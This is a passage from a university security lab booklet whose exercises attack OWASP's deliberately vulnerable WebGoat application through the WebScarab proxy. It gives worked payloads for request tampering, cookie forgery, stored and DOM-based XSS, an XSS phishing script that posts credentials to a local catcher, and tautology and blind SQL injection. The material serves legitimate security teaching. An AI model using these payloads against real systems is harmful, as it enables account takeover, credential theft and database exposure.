Lab Booklet

Department of Computer Architecture (DAC) Universitat Politcnica de Catalunya (UPC) Security in Information Systems (SSI)
Laboratory Booklet
Manuel Garca-Cervign and Jordi Nin
February, 2011
Contents
1 Vulnerabilities in web applications 1.1 Objective . . . . . . . . . . . . . . . . . . . . . . 1.2 Start the LiveCD . . . . . . . . . . . . . . . . . . 1.3 Exercises . . . . . . . . . . . . . . . . . . . . . . . 1.3.1 Parameter validation . . . . . . . . . . . . 1.3.2 Session administration and authentication 1.3.3 Cross Site Scripting . . . . . . . . . . . . 1.3.4 SQL Injection . . . . . . . . . . . . . . . . 1.4 References . . . . . . . . . . . . . . . . . . . . . . 2 Vulnerabilities in web applications II 2.1 Objective . . . . . . . . . . . . . . . 2.2 Security in AJAX . . . . . . . . . . . 2.3 Security in AJAX II . . . . . . . . . 2.4 Defects on authentication . . . . . . 2.5 Cross Site Scripting . . . . . . . . . . 2.6 SQL Injection . . . . . . . . . . . . . 2.7 The Challenge . . . . . . . . . . . . . 2.8 The Challenge (Optional part) . . . 3 Security in wireless networks 3.1 Objective . . . . . . . . . . . . . . . 3.2 Environment set up . . . . . . . . . . 3.3 Breaking WEP encoding . . . . . . . 3.4 Find the IP range . . . . . . . . . . . 3.5 MAC ltering . . . . . . . . . . . . . 3.6 Man In the Middle attack (optional) 3.7 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1 2 4 4 10 13 15 17 19 19 20 23 28 36 39 44 49 55 55 56 57 59 61 62 64 65 65 65 65 66 66 66 67 67 68
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
4 Digital Certicates 4.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.2 Description . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.3 Prepare the environment . . . . . . . . . . . . . . . . . . . . . . . . . 4.4 Create a certication hierarchy . . . . . . . . . . . . . . . . . . . . . 4.4.1 Issue a certication request (CSR le) . . . . . . . . . . . . . 4.4.2 Issue the CA certicate out of the pending request . . . . . . 4.4.3 Issue the certicate request (and the new key pair associated) 4.4.4 Issue the certicate from the pending request . . . . . . . . . 4.4.5 Export the servers certicate as well as its private key . . . .
ii 4.4.6
Contents Generate a certicate for the user to authenticate against the web server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.4.7 Export the user certicate and its private key . . . . . . . . . 4.4.8 Install the user certicate in a Unix environment . . . . . . . Apache Conguration . . . . . . . . . . . . . . . . . . . . . . . . . . 4.5.1 Certicate Conguration . . . . . . . . . . . . . . . . . . . . . 4.5.2 Start the apache web server for non secure connections . . . . 4.5.3 Apache conguration to authenticate the server . . . . . . . . 4.5.4 Congure a VirtualHost to use SSL . . . . . . . . . . . . . . . 4.5.5 Enable the new website . . . . . . . . . . . . . . . . . . . . . 4.5.6 Client authentication using a digital certicate . . . . . . . .
4.5
68 68 68 68 68 69 69 69 70 70 73 73 73 74 74 77 79 85 85 85 85 88 89 90 91 91 92 92 92 93 95 95 95 95 96 96 97 98 98 99
5 Introduction to Malware analysis 5.1 Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . 5.2 Laboratory Environment . . . . . . . . . . . . . . . . . . 5.3 The malware: a trojan copy of a windows live messenger 5.4 Behavioral analysis . . . . . . . . . . . . . . . . . . . . . 5.5 Network trac analysis . . . . . . . . . . . . . . . . . . 5.6 Code analysis . . . . . . . . . . . . . . . . . . . . . . . . 6 IPTables 6.1 Objective . . . . . . . . . . . . . . . . . . . . . . . 6.2 General iptables Description . . . . . . . . . . . . . 6.3 Tables and Chains description . . . . . . . . . . . . 6.4 Iptables commands . . . . . . . . . . . . . . . . . . 6.4.1 Allowing Established Sessions . . . . . . . . 6.4.2 Allowing Incoming Trac on Specic Ports 6.4.3 Blocking Trac . . . . . . . . . . . . . . . . 6.4.4 Editing iptables . . . . . . . . . . . . . . . . 6.4.5 Logging . . . . . . . . . . . . . . . . . . . . 6.5 Exercises . . . . . . . . . . . . . . . . . . . . . . . . 6.5.1 Rules without considering the package state 6.5.2 Rules considering the package state . . . . . 7 Forensic analysis 7.1 Objetives . . . . . . . . . . . . . . 7.2 Requisites . . . . . . . . . . . . . . 7.3 Lab description . . . . . . . . . . . 7.4 Goals . . . . . . . . . . . . . . . . 7.5 Autopsy . . . . . . . . . . . . . . . 7.5.1 Evidence Search Techniques 7.5.2 Case Management . . . . . 7.5.3 Case Creation in a Nutshell 7.5.4 Useful Autopsy Views . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
Contents 7.6 7.7 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Joe Jacobs police report . . . . . . . . . . . . . . . . . . . . . . . . .
iii 99 99
Session 1
Vulnerabilities in web applications
Contents
1.1 1.2 1.3 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Start the LiveCD 1.3.1 1.3.2 1.3.3 1.3.4 1.4 . . . . . . . . . . . . . . . . . . . . . . . . . Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Parameter validation . . . . . . . . . . . . . . . . . . . . . . . Session administration and authentication . . . . . . . . . . . Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 2 4 4 10 13 15 17
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.1
Objective
Vulnerabilities in web applications are responsible for most of the security violations in computer networks. Every time more often, the attacks are addressed to applications such as Internet shopping, web forms, as well as the authentication and access points to protected web pages and dynamic contents from linked databases with transactions and information requests. When we talk about web applications vulnerabilities we are not talking about operating system or http servers vulnerabilities (version update, patches, etc) but about the vulnerabilities of the software on top of them. Such vulnerabilities are directly related to the logic, code scripting and content of the web application. Being able to detect such vulnerabilities provides us with more security as well as to be able to provide more control and quality to our software products. The objective of this session is to study some of the main vulnerabilities found in web applications, study some basic ways to perform attacks and understand the origin of such vulnerabilities and how to be able to avoid them. We will use the following applications for this session: WebGoat is a J2EE application developed by OWASP (The Open Web Application Security Project) and based on Tomcat. It is an insecure application and it is basically its purpose. The objective is to use it as an introduction to dierent attacks directed to web applications (test environment). It has dierent lessons that provide us with help and information to understand and be able to overcome them.
Session 1. Vulnerabilities in web applications
WebScarab is a framework to analyze web applications developed by OWASP. It uses http and https and it can be used as a proxy to study web pages requests and responses, review and modify them before they get to the client or the server.
Both applications can be found on a LiveCD named OWASP OWASP Live CD Education Project (LabRat), than we are going to use. This Live CD can be downloaded from http://appseclive.org/content/downloads The vulnerabilities that we are going to see are:
Hidden eld authentication: how to obtain additional information form web applications and modify the clients generated requests or server responses to be able to perform the attack.
Weak session identication: we will see the dangers of a weak authentication, in this case, how to impersonate another user by means of a session cookie.
Cross-Site Scripting (XSS): is an attack based in the vulnerabilities exploit of the embedded HTML validation. It takes advantage on the lack of ltering mechanisms of the input elds, allowing the data input and transfer without any validation, being able to generate malicious command sequences or scripts.
SQL Injection: it is a vulnerability found at the input data validation of a database associated to a web application. The origin is the incorrect ltering of variables used in the application code that perform SQL sentences.
1.2
Start the LiveCD
Go to the Live CD start menu and at option live - boot the Live System
1.2. Start the LiveCD
Once the Live CD has started you must follow the steps: 1. Keyboard layout: The default layout is US, go to System -> Preferences -> Keyboard and add the ES layout 2. Start the WebScarab application: When starting the graphic interface go to the OWASP -> Proxies -> WebScarab and click to see the following screen:
Session 1. Vulnerabilities in web applications 3. Start WebGoat application:
Open a shell Change to the directory where the WebGoat application is installed # cd / opt / owasp / webgoat
Start the application on port 8080 #sudo . / webgoat . sh s t a r t 8 0 8 0
Watch the messages appearing while the application starts. When the following message appears the application will be running INFO : S e r v e r s t a r t u p i n 4350 ms
4. Web browser conguration: Open the web browser and congure it to use a local proxy, in our case WebScarab, using port 8008 by default. Go to Edit -> Connection Settings ... Depending on the LiveCD version it will be Preferences
1.3. Exercises
Congure manually the proxy option as seen below. Warning! observe that the eld No Proxy for doesnt have 127.0.0.1 or localhost: At the browser address bar type http://127.0.0.1:8080/webgoat/attack Remember: user: guest password: guest
1.3
1.3.1
Exercises
Parameter validation
We will see the danger of no validating input parameters on a Web application or doing a poor or incorrect validation. On Parameters tampering we will nd three exercises:
1.3.1.1
Hidden elds
Access to WebGoats lesson Exploit Hidden Fields. Its goal is to buy from a web page for a lower price. Observing the web page we can see that the eld Price cant be modied. Try several times Update chart or Purchase or observing the code clicking Show Java to modify the products price. Have you found something?
Lets now watch the request sent to the server when we try to buy. Follow the steps:
Go to WebScarab and click Intercept Requests inside Manual Edit:
Once activated the requests reception, go back to WebGoat and try to buy clicking on Purchase.
1.3. Exercises
You will then see a new WebScarab window with the intercepted request. If we take a look at tab URLEncoded well nd variables (QTY, SUBMIT, Price). One of the variables refers to the purchase price, try to modify the price at column Value, disable the requests interception (clicking again on Intercept Requests and click on Accept Changes. We have been able to modify the purchasing price.
1.3.1.2
e-mail not validated
Go to WebGoat lesson exploit unchecked mail. Now the goal is to be able to change the e-mail address where the comments typed at the web page are sent. Enter some comments and see the code by clicking on Show Java to be able to modify the e-mail address. Have you found anything?
Session 1. Vulnerabilities in web applications Type a malicious script like
<s c r i p t >a l e r t ( "XSS")</ s c r i p t > into the comments eld and send. Observe that you are able to add your own script and execute whatever you want. Now, lets change the e-mail address eld. This can be accomplished by intercepting the request with webscarab and changing the hidden eld "to" from webgoat.admin@owasp.org to alumne@b.upc.edu
1.3.1.3
Avoid validations on the client side
Go to WebGoat lesson How to bypass Client Side JavaScript Validation. The goal is to avoid validation implemented on the client side of the application. This web page sends seven values to the web server that need to match regular expressions validated locally. Try introducing correct and incorrect values on every eld and send them clicking on Submit or observing the code clicking on Show Java to be able to nd the code implementing the elds validation. Have you found anything? What would happen if we sent incorrect values in all the elds? For instance a dash (-)
1.3. Exercises
Data is being validated at the client side and we cant send it to the server. Looking at the code you can nd the section implementing the validation: i f ( ! p a t t e r n 1 . matcher ( param1 ) . matches ( ) ) { e r r ++; msg += " S e r v e r s i d e v a l i d a t i o n v i o l a t i o n : You s u c c e e d e d f o r F i e l d 1 . " ; } i f ( ! p a t t e r n 2 . matcher ( param2 ) . matches ( ) ) { e r r ++; msg += " S e r v e r s i d e v a l i d a t i o n v i o l a t i o n : You s u c c e e d e d f o r F i e l d 2 . " ; } ... i f ( e r r > 0){ s . s e t M e s s a g e ( msg ) ; } This code is downloaded when requesting the web page. Lets try to skip the validation: We need to modify WebScarab conguration to be able to intercept servers responses. On tab Proxy, check Intercept Responses an verify that Intercept Requests is disabled.
10
Now reload the browsers page to issue a new request. You will see a new WebScarab window with the intercepted response. If we click on Raw tab from the lower half window well be able to see the servers response and there we will nd the code to validate the elds that we want to avoid.
Edit the code erasing the validation code: lines between (msg=JavaScript... and (if (err >0 ... Uncheck Intercept responses. Click on Accept Changes, go back to the web page and click Submit to send incorrect data to the server. We have been able to avoid the clients validation and to send incorrect information to the server.
1.3. Exercises
11
1.3.1.4
Practice
Go to WebGoat lesson How to bypass a Fail Open Authentication Scheme at chapter Improper Error Handling. Try solving the lesson using the techniques studied above.
1.3.2
1.3.2.1
Session administration and authentication

Authentication using cookies
Well see now how applications use cookies to maintain session information and how that information can be used to establish a session for a dierent user without
12
having its credentials. Go to WebGoat lesson How to spoof an Authentication Cookie. The goal is to be able to establish a session as user Alice without having her credentials. Try authenticating as webgoat/webgoat and aspect/aspect reloading the screen to observe how the web page uses the cookie to validate and maintain the session. Watch the code clicking on Show Java to be able to establish a session as user Alice. Have you found anything? Lets take a look at the mechanism used to authenticate using the cookie: Log in as webgoat. Check the WebScarab Intercept Request box and click Refresh. You will see a new window with the request; observe the cookies value.
Uncheck Intercept Requests and click Accept Changes. Do the same for user aspect observing the value of the cookie; compare it with the one for user webgoat. Repeat the same process several times, observing the value of the cookie for each user.
The value of variable AuthCookie for each user is always the same. Therefore we can think that if we nd the logic that generates that value we can try to modify the cookie to simulate a session for another user. Lets study each value:
1.3. Exercises User webgoat aspect Alice AuthCookie 65432ubphcfx 65432udfqtb 65432?????
13
We can see that variable AuthCookie always begins with 65432, well then concentrate on the variable part. It looks like the number of characters of the username is directly related to the generated code webgoat 7 characters -> upbhcfx 7 characters aspect 6 characters -> udfqtb 6 characters alice 5 characters ... we may then think that the code will have 5 characters Lets now try nding some relationship amongst the characters: The code generated for both users begins with u but the username doesnt begin with the same character but we see that both end in t. Reversing the order: User taogbew tcepsa AuthCookie ubphcfx udfqtb
Now, we only need to watch a bit longer the characters to discover that, each character corresponds to one of the characters of the username in the AuthCookie alphabet. Thats a variant of the Caesar enciphering, classic and very basic method where a character is replaced by another one, with a bijective correspondence. t->u, a->b, o->p, g->h, b->c, e->f, w->x t->u, c->d, e->f, p->q, s->t, a->b Therefore to generate the code for user alice: User webgoat aspect alice AuthCookie 65432ubphcfx 65432udfqtb 65432fdjmb
Now, lets send the server the modied value of AuthCookie: start a session with for user webgoat or aspect, check WebScarabs Intercept Requests and click Refresh. On the new WebScarab window containing the request, modify the value for AuthCookie using the one we have calculated, uncheck Intercept Requests and click on Accept Changes.
14
You can now see a page that is greeting user alice.
1.3.3
Cross Site Scripting
We will see now how to take advantage on a form vulnerability using what we have already learnt. Go to WebGoat lesson LAB: Cross Site Scripting (XSS). The goal of that lesson is that the application serves a script developed by us or any other user. Try authenticating against the web page using dierent users (the password is the same as the username) observing what features are available and looking for a way to execute our own script when a user logs in. Any idea? Basically this is a human resources application where every user can access to his related information. Administrative users can query and update other users. Authenticate as an administrative user i.e. John Wayne (admin) password john.
Select an employee from the list and click on ViewProle. We will now modify one of the elds of that user adding a script that will be executed when the user logs in to check his data. Add to the eld Street:
1.3. Exercises
15
><s c r i p t >a l e r t ( " S t o l e n s e s s i o n " + document . c o o k i e )</ s c r i p t >
Click on UpdateProle and then Logout.
To check whether our scripts executes correctly, authenticate as the modied user and then click on View Prole
16
See that the application has served that script to another user, therefore we have achieved our goal.
1.3.4
SQL Injection
We are going to study how to insert SQL sentences inside of a previously written query in order to manipulate the correct procedures of a given application. Go to WebGoat lesson How to Perform String SQL Injection. Its goal is to obtain a listing of the credit cards stored in a database. Type Smith as a parameter and try other values. Observe the results and study how the SQL sentence providing the listing is modied. See that the query is waiting for a value to be entered and then used.
1.3. Exercises
17
What if we type two quotes without any value?
The SQL sequence is correct and returns no value. What if we type just one quote?
Now the SQL syntax is not correct: it requires a quote at the beginning of a string and another one at the end. We must then nd a correct SQL sentence that is always true Enter this text for last_name and execute the query clicking on Go! FIB o r 1 = 1 We are closing the rst quote with any value and then add an expression that always is true (1=1). We need to remember that a quote is added at the end. The Boolean OR operator will make the trick returning all the values of the table.
18
We have nally achieved to list all the values of the customers credit cards stored in the database.
1.4
References
OWASP Project , http://www.owasp.org OWASP Project at Sourceforge, http://sourceforge.net/projects/owasp Web Application Security Consortium (WASC), http://www.webappsec.org Common Vulnerabilities and Exposures (CVE), http://www.cve.mitre.org http://www.faqs.org/rfcs/rfc2660.html http://www.faqs.org/rfcs/rfc2616.html http://www.faqs.org/rfcs/rfc1945.html Secure Coding: Principles & Practices, http://www.securecoding.org/
Session 2
Vulnerabilities in web applications II
Contents
2.1 2.2 2.3 2.4 2.5 2.6 2.7 2.8 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Security in AJAX . . . . . . . . . . . . . . . . . . . . . . . . . Security in AJAX II . . . . . . . . . . . . . . . . . . . . . . . . Defects on authentication . . . . . . . . . . . . . . . . . . . . Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . The Challenge . . . . . . . . . . . . . . . . . . . . . . . . . . . The Challenge (Optional part) . . . . . . . . . . . . . . . . . 19 20 23 28 36 39 44 49
2.1
Objective
Vulnerabilities in web applications are responsible for most of the security violations in computer networks. Every time more often, the attacks are addressed to applications such as Internet shopping, web forms, as well as the authentication and access points to protected web pages and dynamic contents from linked databases with transactions and information requests. When we talk about web applications vulnerabilities we are not talking about operating system or http servers vulnerabilities (version update, patches, etc) but about the vulnerabilities of the software on top of them. Such vulnerabilities are directly related to the logic, code scripting and content of the web application. Being able to detect such vulnerabilities provides us with more security as well as to be able to provide more control and quality to our software products. The objective of this session is to study some of the main vulnerabilities found in web applications, study some basic ways to perform attacks and understand the origin of such vulnerabilities and how to be able to avoid them. The goal of current session is to continue with the study of some of the main vulnerabilities found in web applications, study some of the most basic ways to perform attacks and understand the origin of such vulnerabilities and how to avoid them. We will use the following applications for this session:
20
Session 2. Vulnerabilities in web applications II WebGoat is a J2EE application developed by OWASP (The Open Web Application Security Project) and based on Tomcat. It is an insecure application and it is basically its purpose. The objective is to use it as an introduction to dierent attacks directed to web applications (test environment). It has dierent lessons that provide us with help and information to understand and be able to overcome them. WebScarab is a framework to analyze web applications developed by OWASP. It uses http and https and it can be used as a proxy to study web pages requests and responses, review and modify them before they get to the client or the server.
2.2
Security in AJAX
Here we will see how to modify the DOM (Document Model Object) that is the specication that determines how the objects (texts, images, links, etc) are represented in a web page. We will see that on an application that uses AJAX to modify and update the DOM. Go to WebGoats lesson AJAX Security -> DOM Injection. The purpose of this lesson is to modify the DOM injecting JavaScript instructions to enable Activate! the button found in the page.
Study the code to be able to detect which are the instructions that disables the Activate! button. S t r i n g s c r i p t = "< s c r i p t >" + l i n e S e p + " f u n c t i o n v a l i d a t e ( ) { " 97 + l i n e S e p + " var k e y F i e l d=document . getElementById ( key ) ; " 98 + l i n e S e p + " var u r l = " + g e t L i n k ( ) 99 + "&from=a j a x&key=+encodeURIComponent ( k e y F i e l d . v a l u e ) ; " 100+ l i n e S e p + " i f ( t y p e o f XMLHttpRequest != u n d e f i n e d ) {"
2.2. Security in AJAX 101+ 102+ 103+ 104+ 105+ 106+ 107+ 108+ 109+ 110+ 111+ }}}" 112+
21
l i n e S e p + " r e q = new XMLHttpRequest ( ) ; " + l i n e S e p "} e l s e i f ( window . ActiveXObject ) {" + l i n e S e p " r e q=new ActiveXObject ( M i c r o s o f t .XMLHTTP ) ; " + l i n e S e p " }"+ l i n e S e p +" r e q . open ( GET , u r l , t r u e ) ; " + l i n e S e p " req . onreadystatechange = callback ;" + lineSep " r e q . send ( n u l l ) ; " + l i n e S e p + "}" + l i n e S e p " f u n c t i o n c a l l b a c k ( ) {" + l i n e S e p " i f ( r e q . r e a d y S t a t e == 4 ) { " + l i n e S e p " i f ( r e q . s t a t u s == 2 0 0 ) { " + l i n e S e p " var message = r e q . r e s p o n s e T e x t ; " + l i n e S e p " e v a l ( message ) ; " + l i n e S e p + " + lineSep "</ s c r i p t >" + l i n e S e p ;
Once we have located it, lets try to modify the request to try to enable the button. Go to the WebScarab window and enable Intercept responses.
Now lets simulate the typing of a key to trigger the validation: h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / webgoat / a t t a c k ? S c r e e n=36&menu=1150& from=a j a x&key=c l a u f a l s a
22
Session 2. Vulnerabilities in web applications II
Warning! watch the value of variables Screen and menu since it can change, and use the values appearing to build a URL like the one above. You will see a new WebScarab window with the intercepted response. Inside the response look for the section that denes the button disabled and erase that part of the code to allow it to be enabled: Replace the code 
by 
Disable the response interception of WebScarab and click on Accept Changes.
Now we can click on Activate and we will have passed the lesson.
2.3. Security in AJAX II
23
2.3
Security in AJAX II
We will now see how to modify. the DOM, as we have already done, but we will use now a vulnerability that allows to inject code using Cross Site Scripting (XSS) in order to manipulate the licit processes of a given application. Go to WebGoats lesson LAB: DOM-Based cross-site scripting. The goal now is to obtain a listing with the credit cards from the users stored in a database. This lesson has dierent steps to overcome with a particular intention for each. The rst stage is to deface the web page using the image:
24
We nd here a page containing a eld to enter our name that the application uses to greet us. Lets try typing some values in this text eld.
As you can see the application immediately incorporates the values typed to the web page. What would it happen if we type code to modify the web page? Type the following command in the text eld. It references the image that we want to appear on the web page. <IMG SRC="images / l o g o s / owasp . j p g "/> Click on Submit Solution to go to the next stage
25
On this stage we want to execute a JavaScript alert using the image tab. look for the way to build this tag and how to enter an alert inside of the tag. Have you found the correct solution? Try typing the following text on the eld: <img s r c ="image . j p g " o n e r r o r =" a l e r t ( J a v a S c r i p t A l e r t (XSS ) ) ; " /> Since there is no image on that path the "onerror" script is triggered.
Click on Submit Solution to go to the next stage
26
On the third stage we will need to execute another JavaScript alert and use the iframe tag. Look for information on that tag and on how to include the alert inside of the tag. Insert the following instruction on the text eld: click on Submit Solution to go to the next stage.
On this stage we nee to build a fake login form.
Enter the following text P l e a s e e n t e r your password : <button o n C l i c k= " j a v a s c r i p t : a l e r t ( I have your password : + p a s s . v a l u e );" > Send password </button> If you enter a password on the rst text eld and click on Submit Solution we will see that the constructed eld acts masking the password as in a real form and that the users password has been captured. We will need to enter the fake form to be able to go to the next stage, enter:
27
P l e a s e e n t e r your password : <button o n C l i c k=" j a v a s c r i p t : a l e r t ( I have your password : + p a s s . v a l u e );" > Submit</button> This time we will click on the original Submit Solution.
We have now reached the last stage of the lesson. We are going now to try to nd a way to mitigate the DOM XSS vulnerability. 1. Open le escape.js at http://localhost:8080/webgoat/javascript/escape.js and try to guess its utility. 2. Next you should nd the code that makes that all you type at the text eld appears on the web page. 3. If you look at the source code you will see that it uses the le DOMXSS.js at http://localhost:8080/webgoat/javascript/DOMXSS.js and contains the function that shows the values of the text eld. 4. You need to replace this les code using the function escapeHTML from escape.js. Edit DOMXSS.js that is at <DIR_WEBGOAT>/tomcat/webapps/webgoat/javascript, where <DIR_WEBGOAT> should be, by default, /opt/owasp/webgoat. Replace: f u n c t i o n d i s p l a y G r e e t i n g ( name ) { i f ( name != ) { document . getElementById ( " g r e e t i n g " ) . innerHTML="H e l l o , " + name+ " ! " ; } }
28 by
f u n c t i o n d i s p l a y G r e e t i n g ( name ) { i f ( name != ) { document . getElementById ( " g r e e t i n g " ) . innerHTML="H e l l o , " + escapeHTML ( name ) + " ! " ; } }
Once you have modied that, try to perform some of the previous injections, for instance the web defacement.
As you can see the DOM XSS injection cannot be performed anymore and we only needed to include a very simple command to avoid it. Click on Submit Solution to end the lesson.
2.4
Defects on authentication
We will study the way basic authentication works, we will see how the credentials are resent automatically for each protected page. Go to WebGoats lesson Authentication ows -> Basic Authentication. The goal of this lesson is to understand the basic authentication, to do it we will have to solve two questions:
2.4. Defects on authentication
29
Click on Submit and intercept the request using WebScarab. Study the contents of the request to nd the name of the authentication header and its value.
As you may have guessed the header is Authorization and the value "Z3Vlc3Q6Z3Vlc3Q=". To decode the value go to WebScarabs "Tool" menu and click on "Transcoder".
30
We will have a new window to enter the value found and that will help us decoding it.
Click on Base64 decode to decode the value
31
We have it now decoded, now enter this information on the questions asked and to go to the next stage click on Submit.
We have found the appropriate values and we have been able to pass the rst stage of the lesson. Our next goal is to force WebGoat to re-authenticate us with user basic.
32
Enable WebScarabs request interception. To create the request we will go back to click on the lesson Basic Authentication.
On JSESSIONID variable from the Cookie header, we can nd the value of the session that allows us to identify protected pages without having to retype the credentials. To force the server to assign us a new session we will have to modify the value of variable JSESSIONID. For instance deleting the last two characters.
33
Click on Accept changes and you will see that the application has been redirected to the main page but without asking the credentials. If you verify the contents of variable JSESSIONID you will see that it is dierent to the one we had assigned before: the server has assigned us with a new session.
Do the same again but now modify the header "Authorization" and the variable JSESSIONID.
34
You will see that the application has now required us to enter the credentials, we will type now the ones for user basic.
Study the value that appears now in the requests, intercepting the request with WebScarab.
35
You can see that the value of the Authorization header is dierent and that we have the same session that we had with user guest. Decode the Authorization header.
As we expected the content is username and password for user basic. If you invalidate the session JSESSIONID typing JSESSIONID=novalidsession we can really access to the basic user session. Intercept the request and modify the variable.
36
We have been able to access the application as before.
Click on Start WebGoat and go back accessing the lesson clicking on WebGoats Basic Authentication. Warning! watch the links you click on to issue new requests to intercept. Think that if you are authenticated as basic an click on a link such as guest:guest@127.0.0.1.... you will re-authenticate as user guest. We rather reload the page to create new requests.
2.5. Cross Site Scripting
37
We nally have authenticated as user basic and passed the lesson.
2.5
Cross Site Scripting
In this lesson we will see an example of phishing attack on a web page using CrossSite Scripting (XSS). Go to WebGoats lesson Phising with XSS. The goal of this lesson is to capture the credentials of a user and send them to a servlet. We need to build a form for the user to enter the credentials to be able to intercept them. We will, therefore, write a typical HTML form to inject in the eld Search:
38
<form> <hr> <l a b e l f o r ="name">Nom U s u a r i :</ l a b e l > <l a b e l f o r ="pwd" >Password :</ l a b e l > </form> <hr>
Now we have the form and we now need to write a script to retrieve the data and send them to the servlet: <s c r i p t > function phising (){ a l e r t ( " Your data has been c a p t u r e d : Username : " + document . getElementById ( " name " ) . v a l u e + " Password : " + document . getElementById ( "pwd " ) . v a l u e ) ; var XSSImage=IEWIN?new Image ( ) : document . c r e a t e E l e m e n t ( img ) ;
2.5. Cross Site Scripting
39
XSSImage . s r c ="h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / webgoat / c a t c h e r ? PROPERTY=y e s&u s e r="+ document . getElementById ( " name " ) . v a l u e + "&password=" + document . getElementById ( "pwd " ) . v a l u e + " " ; } </ s c r i p t > This script shows an alert with the users entered data and sends them to the URL http://localhost./webgoat/catcher?PROPERTY=yes... We will now put together the form and the script in the same line to enter it in the Search eld. <s c r i p t > function phising (){ a l e r t ( " Your data has been c a p t u r e d : Username : " + document . getElementById ( " name " ) . v a l u e + " Password : " + document . getElementById ( "pwd " ) . v a l u e ) ; var XSSImage=IEWIN?new Image ( ) : document . c r e a t e E l e m e n t ( img ) ; XSSImage . s r c ="h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / webgoat / c a t c h e r ? PROPERTY=y e s&u s e r="+ document . getElementById ( " name " ) . v a l u e + "&password=" + document . getElementById ( "pwd " ) . v a l u e + " " ; } </ s c r i p t > <form> <hr> <l a b e l f o r ="name">Nom U s u a r i :</ l a b e l > <l a b e l f o r ="pwd" >Password :</ l a b e l > </form> <hr> Inject the code on the eld and click on Search. You will see the form that we have built where we can capture the credentials. Type anything and click on Accept to check that the data has been captured.
We have then completed the lesson.
40
2.6
SQL Injection
In this lesson we will see how to insert SQL code to obtain the owners name of a given bank account. Go to WebGoats lesson Injection ow -> Blind string SQL Injection. The goal of this lesson is to obtain the owners name of cc_number 4321432143214321
The only thing we can have now it whether an account number is valid or not. We will have to modify/broaden the query to obtain the information we are looking for. A good test is see how the system reacts when we try to execute a command that does not exist in the SQL syntax. For example execute 101 o r i n v e n t e d ( 1 0 1 ) ;
2.6. SQL Injection
41
You can see that the system has thrown an error since it could not understand the syntax of function invented(). Now, knowing how the system reacts, lets try to see whether the functions we want to use are recognized or not. Lets rst check on function ascii() : 65 OR ascii(90);
The system has recognized the function since it has not thrown an error message.
42
Now, lets try to determine the rst letter of the name. As we do not know any clue about the name, we need to limit the search space, for instance with a SQL query like this:
101 AND ( ASCII ( s u b s t r ( (SELECT name FROM p i n s where cc_number =4321432143214321) ,1 ,1)) <75)
We can replace < or > by = to be more accurate
101 AND ( ASCII ( s u b s t r ( (SELECT name FROM p i n s where cc_number = 4 3 2 1 4 3 2 1 4 3 2 1 4 3 2 1 ) , 1 , 1 ) ) = 7 4 )
2.6. SQL Injection
43
We have found that the rst letter of the rst name is ascii 74: it begins with J Find the combinations for the following letters. After checking all, well see that the correct queries are:
101 AND ( ASCII ( s u b s t r ( (SELECT name FROM cc_number = 4 3 2 1 4 3 2 1 4 3 2 1 4 3 2 1 ) , 1 , 1 ) ) = 7 4 ) 101 AND ( ASCII ( s u b s t r ( (SELECT name FROM cc_number = 4 3 2 1 4 3 2 1 4 3 2 1 4 3 2 1 ) , 2 , 1 ) ) = 1 0 5 ) 101 AND ( ASCII ( s u b s t r ( (SELECT name FROM cc_number = 4 3 2 1 4 3 2 1 4 3 2 1 4 3 2 1 ) , 3 , 1 ) ) = 1 0 8 ) 101 AND ( ASCII ( s u b s t r ( (SELECT name FROM cc_number = 4 3 2 1 4 3 2 1 4 3 2 1 4 3 2 1 ) , 4 , 1 ) ) = 1 0 8 )
p i n s where p i n s where p i n s where p i n s where
and transforming the ascii codes:
44
We will obtain the name Jill, lets try:
We have completed the lesson.
2.7. The Challenge
45
2.7
The Challenge
On this lesson we will use some of the techniques learnt in previous lessons. Go to WebGoats lesson The Challenge. The goal of this lesson is to break the authentication scheme, obtain all the credit card numbers held in the database and deface the web page.
Try dierent test entering dierent usernames and passwords that we used in previous stages. Now we cant view the code by clicking on Show Java so we will try to access the code to examine it in another way. Lets observe the request sent to the server when we try to authenticate: Enable Intercept Requests on WebScarab
46
